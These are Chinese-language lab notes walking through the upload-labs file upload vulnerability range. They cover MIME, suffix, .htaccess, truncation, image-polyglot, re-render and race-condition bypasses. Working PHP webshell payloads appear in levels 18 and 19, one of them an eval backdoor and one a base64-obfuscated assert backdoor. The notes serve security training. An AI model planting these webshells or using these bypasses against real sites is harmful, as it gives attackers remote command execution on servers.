文件上传漏洞常见功能点
● 相册,头像上传
● 视频,
● 附件
● 文件管理
文件上传漏洞成功的前提
- 网站有上传功能
- 文件类型支持上传
- 文件上传之后的路径
- 上传的文件可以被执行或者解析
文件上传的校验方式
upload靶场
第一关
删除校验
或者禁用javascript
上面两种都可以上传成功
打开hackbar
第二关 mimine类型修改上传
常见类型
MIME用法
burp抓包 修改Content-Type: application/octet-stream
Content-Type: image/jpeg
注意:中间有一个空格
第三关 黑名单绕过
禁止上传 .php .asp ........
修改配置文件
第四关 .httaccess
区域解析
Hypertext Access(超文本入口)
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。
通过.htaccess文件,可以实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能
第五关
第六关 黑名单绕过
修改shell.php的后缀
shell.PHP
第七关 空格绕过
php 5.2.17
burpsuit抓包 添加空格
第八关 .绕过 5.7版本
抓包
.php.
第九关 ::$data绕过
抓包
.php::$data
第十关 .空格. 5.2 17
第十一关 双写绕过 .pphphp
第十二关 文件名截断 %00 5.5.9
抓包
第十三关
第十四关 文件头
图片马 copy 1.jpg/b + shell.php 3.jpg
上传图片马 利用文件包含 将图片马包含进去
第十五关
同14
第十六关
7.4.22 线程安全
启用扩展
第十七关 文件二次渲染
文件对比工具 010edi
上传之前的一句话木马图片 上传之后的一句话木马图片
第十八关 条件竞争绕过
18.php文件 打开bp 抓包 上传
<?php echo md5(1); file_put_contents('shell.php','<?php eval($_POsT["cmd"]);?>')| ?>
纯文本
抓包 爆破
持续在新的浏览器刷新上传的.php
python脚本 exp.py
第十九关 文件移动
<?php
echo md5(1);
fputs(fopen('shel119.php','w'),'<?php $a=base64_decode("YXNzZXJ0");$a($_POST[cmd]);?>');
?>
纯文本
第二十关
.php.
第二十一关 代码审计
文件头绕过
常见的文件头标志如下:
JPEG (jpg),文件头:FFD8FF
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
HTML (html),文件头:68746D6C3E
ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221
Adobe Acrobat (pdf),文件头:255044462D312E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0